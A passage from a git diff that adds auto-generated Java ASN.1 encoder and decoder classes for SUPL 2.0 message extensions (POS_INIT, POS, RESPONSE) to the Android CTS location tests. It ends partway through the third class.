+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_INIT_extension.java
@@ -0,0 +1,347 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.MultipleLocationIds;
+import android.location.cts.asn1.supl2.ver2_ulp_components.UTRAN_GANSSReferenceTimeResult;
+import android.location.cts.asn1.supl2.ver2_ulp_components.UTRAN_GPSReferenceTimeResult;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPL_POS_INIT_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPL_POS_INIT_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPL_POS_INIT_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPL_POS_INIT_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPL_POS_INIT_extension != null) {
+ return ImmutableList.of(TAG_Ver2_SUPL_POS_INIT_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_POS_INIT_extension from encoded stream.
+ */
+ public static Ver2_SUPL_POS_INIT_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPL_POS_INIT_extension result = new Ver2_SUPL_POS_INIT_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_POS_INIT_extension from encoded stream.
+ */
+ public static Ver2_SUPL_POS_INIT_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPL_POS_INIT_extension result = new Ver2_SUPL_POS_INIT_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private MultipleLocationIds multipleLocationIds_;
+ public MultipleLocationIds getMultipleLocationIds() {
+ return multipleLocationIds_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultipleLocationIds
+ */
+ public void setMultipleLocationIds(Asn1Object value) {
+ this.multipleLocationIds_ = (MultipleLocationIds) value;
+ }
+ public MultipleLocationIds setMultipleLocationIdsToNewInstance() {
+ multipleLocationIds_ = new MultipleLocationIds();
+ return multipleLocationIds_;
+ }
+
+ private UTRAN_GPSReferenceTimeResult utran_GPSReferenceTimeResult_;
+ public UTRAN_GPSReferenceTimeResult getUtran_GPSReferenceTimeResult() {
+ return utran_GPSReferenceTimeResult_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTimeResult
+ */
+ public void setUtran_GPSReferenceTimeResult(Asn1Object value) {
+ this.utran_GPSReferenceTimeResult_ = (UTRAN_GPSReferenceTimeResult) value;
+ }
+ public UTRAN_GPSReferenceTimeResult setUtran_GPSReferenceTimeResultToNewInstance() {
+ utran_GPSReferenceTimeResult_ = new UTRAN_GPSReferenceTimeResult();
+ return utran_GPSReferenceTimeResult_;
+ }
+
+ private UTRAN_GANSSReferenceTimeResult utran_GANSSReferenceTimeResult_;
+ public UTRAN_GANSSReferenceTimeResult getUtran_GANSSReferenceTimeResult() {
+ return utran_GANSSReferenceTimeResult_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTimeResult
+ */
+ public void setUtran_GANSSReferenceTimeResult(Asn1Object value) {
+ this.utran_GANSSReferenceTimeResult_ = (UTRAN_GANSSReferenceTimeResult) value;
+ }
+ public UTRAN_GANSSReferenceTimeResult setUtran_GANSSReferenceTimeResultToNewInstance() {
+ utran_GANSSReferenceTimeResult_ = new UTRAN_GANSSReferenceTimeResult();
+ return utran_GANSSReferenceTimeResult_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMultipleLocationIds() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMultipleLocationIds();
+ }
+
+ @Override public void setToNewInstance() {
+ setMultipleLocationIdsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultipleLocationIds.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "multipleLocationIds : "
+ + getMultipleLocationIds().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GPSReferenceTimeResult() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GPSReferenceTimeResult();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GPSReferenceTimeResultToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTimeResult.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GPSReferenceTimeResult : "
+ + getUtran_GPSReferenceTimeResult().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GANSSReferenceTimeResult() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GANSSReferenceTimeResult();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GANSSReferenceTimeResultToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTimeResult.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GANSSReferenceTimeResult : "
+ + getUtran_GANSSReferenceTimeResult().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPL_POS_INIT_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java
new file mode 100755
index 0000000..5ceb3e7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_POS_extension.java
@@ -0,0 +1,408 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.UTRAN_GANSSReferenceTimeAssistance;
+import android.location.cts.asn1.supl2.ver2_ulp_components.UTRAN_GANSSReferenceTimeResult;
+import android.location.cts.asn1.supl2.ver2_ulp_components.UTRAN_GPSReferenceTimeAssistance;
+import android.location.cts.asn1.supl2.ver2_ulp_components.UTRAN_GPSReferenceTimeResult;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPL_POS_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPL_POS_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPL_POS_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPL_POS_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPL_POS_extension != null) {
+ return ImmutableList.of(TAG_Ver2_SUPL_POS_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_POS_extension from encoded stream.
+ */
+ public static Ver2_SUPL_POS_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPL_POS_extension result = new Ver2_SUPL_POS_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_POS_extension from encoded stream.
+ */
+ public static Ver2_SUPL_POS_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPL_POS_extension result = new Ver2_SUPL_POS_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTRAN_GPSReferenceTimeAssistance utran_GPSReferenceTimeAssistance_;
+ public UTRAN_GPSReferenceTimeAssistance getUtran_GPSReferenceTimeAssistance() {
+ return utran_GPSReferenceTimeAssistance_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTimeAssistance
+ */
+ public void setUtran_GPSReferenceTimeAssistance(Asn1Object value) {
+ this.utran_GPSReferenceTimeAssistance_ = (UTRAN_GPSReferenceTimeAssistance) value;
+ }
+ public UTRAN_GPSReferenceTimeAssistance setUtran_GPSReferenceTimeAssistanceToNewInstance() {
+ utran_GPSReferenceTimeAssistance_ = new UTRAN_GPSReferenceTimeAssistance();
+ return utran_GPSReferenceTimeAssistance_;
+ }
+
+ private UTRAN_GPSReferenceTimeResult utran_GPSReferenceTimeResult_;
+ public UTRAN_GPSReferenceTimeResult getUtran_GPSReferenceTimeResult() {
+ return utran_GPSReferenceTimeResult_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTimeResult
+ */
+ public void setUtran_GPSReferenceTimeResult(Asn1Object value) {
+ this.utran_GPSReferenceTimeResult_ = (UTRAN_GPSReferenceTimeResult) value;
+ }
+ public UTRAN_GPSReferenceTimeResult setUtran_GPSReferenceTimeResultToNewInstance() {
+ utran_GPSReferenceTimeResult_ = new UTRAN_GPSReferenceTimeResult();
+ return utran_GPSReferenceTimeResult_;
+ }
+
+ private UTRAN_GANSSReferenceTimeAssistance utran_GANSSReferenceTimeAssistance_;
+ public UTRAN_GANSSReferenceTimeAssistance getUtran_GANSSReferenceTimeAssistance() {
+ return utran_GANSSReferenceTimeAssistance_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTimeAssistance
+ */
+ public void setUtran_GANSSReferenceTimeAssistance(Asn1Object value) {
+ this.utran_GANSSReferenceTimeAssistance_ = (UTRAN_GANSSReferenceTimeAssistance) value;
+ }
+ public UTRAN_GANSSReferenceTimeAssistance setUtran_GANSSReferenceTimeAssistanceToNewInstance() {
+ utran_GANSSReferenceTimeAssistance_ = new UTRAN_GANSSReferenceTimeAssistance();
+ return utran_GANSSReferenceTimeAssistance_;
+ }
+
+ private UTRAN_GANSSReferenceTimeResult utran_GANSSReferenceTimeResult_;
+ public UTRAN_GANSSReferenceTimeResult getUtran_GANSSReferenceTimeResult() {
+ return utran_GANSSReferenceTimeResult_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTimeResult
+ */
+ public void setUtran_GANSSReferenceTimeResult(Asn1Object value) {
+ this.utran_GANSSReferenceTimeResult_ = (UTRAN_GANSSReferenceTimeResult) value;
+ }
+ public UTRAN_GANSSReferenceTimeResult setUtran_GANSSReferenceTimeResultToNewInstance() {
+ utran_GANSSReferenceTimeResult_ = new UTRAN_GANSSReferenceTimeResult();
+ return utran_GANSSReferenceTimeResult_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GPSReferenceTimeAssistance() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GPSReferenceTimeAssistance();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GPSReferenceTimeAssistanceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTimeAssistance.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GPSReferenceTimeAssistance : "
+ + getUtran_GPSReferenceTimeAssistance().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GPSReferenceTimeResult() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GPSReferenceTimeResult();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GPSReferenceTimeResultToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTimeResult.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GPSReferenceTimeResult : "
+ + getUtran_GPSReferenceTimeResult().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GANSSReferenceTimeAssistance() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GANSSReferenceTimeAssistance();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GANSSReferenceTimeAssistanceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTimeAssistance.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GANSSReferenceTimeAssistance : "
+ + getUtran_GANSSReferenceTimeAssistance().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GANSSReferenceTimeResult() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GANSSReferenceTimeResult();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GANSSReferenceTimeResultToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTimeResult.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GANSSReferenceTimeResult : "
+ + getUtran_GANSSReferenceTimeResult().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPL_POS_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java
new file mode 100755
index 0000000..e742bef
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_RESPONSE_extension.java
@@ -0,0 +1,530 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.Position;
+import android.location.cts.asn1.supl2.ver2_ulp_components.GNSSPosTechnology;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SPCSETKey;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SPCSETKeylifetime;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SPCTID;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SupportedNetworkInformation;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPL_RESPONSE_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPL_RESPONSE_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPL_RESPONSE_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPL_RESPONSE_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPL_RESPONSE_extension != null) {
+ return ImmutableList.of(TAG_Ver2_SUPL_RESPONSE_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_RESPONSE_extension from encoded stream.
+ */
+ public static Ver2_SUPL_RESPONSE_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPL_RESPONSE_extension result = new Ver2_SUPL_RESPONSE_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_RESPONSE_extension from encoded stream.
+ */
+ public static Ver2_SUPL_RESPONSE_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPL_RESPONSE_extension result = new Ver2_SUPL_RESPONSE_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SupportedNetworkInformation supportedNetworkInformation_;
+ public SupportedNetworkInformation getSupportedNetworkInformation() {
+ return supportedNetworkInformation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedNetworkInformation
+ */
+ public void setSupportedNetworkInformation(Asn1Object value) {
+ this.supportedNetworkInformation_ = (SupportedNetworkInformation) value;
+ }
+ public SupportedNetworkInformation setSupportedNetworkInformationToNewInstance() {
+ supportedNetworkInformation_ = new SupportedNetworkInformation();
+ return supportedNetworkInformation_;
+ }
+
+ private SPCSETKey sPCSETKey_;
+ public SPCSETKey getSPCSETKey() {
+ return sPCSETKey_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCSETKey
+ */
+ public void setSPCSETKey(Asn1Object value) {
+ this.sPCSETKey_ = (SPCSETKey) value;
+ }
+ public SPCSETKey setSPCSETKeyToNewInstance() {
+ sPCSETKey_ = new SPCSETKey();
+ return sPCSETKey_;
+ }
+
+ private SPCTID sPCTID_;
+ public SPCTID getSPCTID() {
+ return sPCTID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCTID
+ */
+ public void setSPCTID(Asn1Object value) {
+ this.sPCTID_ = (SPCTID) value;
+ }
+ public SPCTID setSPCTIDToNewInstance() {
+ sPCTID_ = new SPCTID();
+ return sPCTID_;
+ }
+
+ private SPCSETKeylifetime sPCSETKeylifetime_;
+ public SPCSETKeylifetime getSPCSETKeylifetime() {
+ return sPCSETKeylifetime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCSETKeylifetime
+ */
+ public void setSPCSETKeylifetime(Asn1Object value) {
+ this.sPCSETKeylifetime_ = (SPCSETKeylifetime) value;
+ }
+ public SPCSETKeylifetime setSPCSETKeylifetimeToNewInstance() {
+ sPCSETKeylifetime_ = new SPCSETKeylifetime();
+ return sPCSETKeylifetime_;
+ }
+
+ private Position initialApproximateposition_;
+ public Position getInitialApproximateposition() {
+ return initialApproximateposition_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Position
+ */
+ public void setInitialApproximateposition(Asn1Object value) {
+ this.initialApproximateposition_ = (Position) value;
+ }
+ public Position setInitialApproximatepositionToNewInstance() {
+ initialApproximateposition_ = new Position();
+ return initialApproximateposition_;
+ }
+
+ private GNSSPosTechnology gnssPosTechnology_;
+ public GNSSPosTechnology getGnssPosTechnology() {
+ return gnssPosTechnology_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology
+ */
+ public void setGnssPosTechnology(Asn1Object value) {
+ this.gnssPosTechnology_ = (GNSSPosTechnology) value;
+ }
+ public GNSSPosTechnology setGnssPosTechnologyToNewInstance() {
+ gnssPosTechnology_ = new GNSSPosTechnology();
+ return gnssPosTechnology_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSupportedNetworkInformation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSupportedNetworkInformation();
+ }
+
+ @Override public void setToNewInstance() {
+ setSupportedNetworkInformationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedNetworkInformation : "
+ + getSupportedNetworkInformation().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSPCSETKey() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSPCSETKey();
+ }
+
+ @Override public void setToNewInstance() {
+ setSPCSETKeyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCSETKey.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
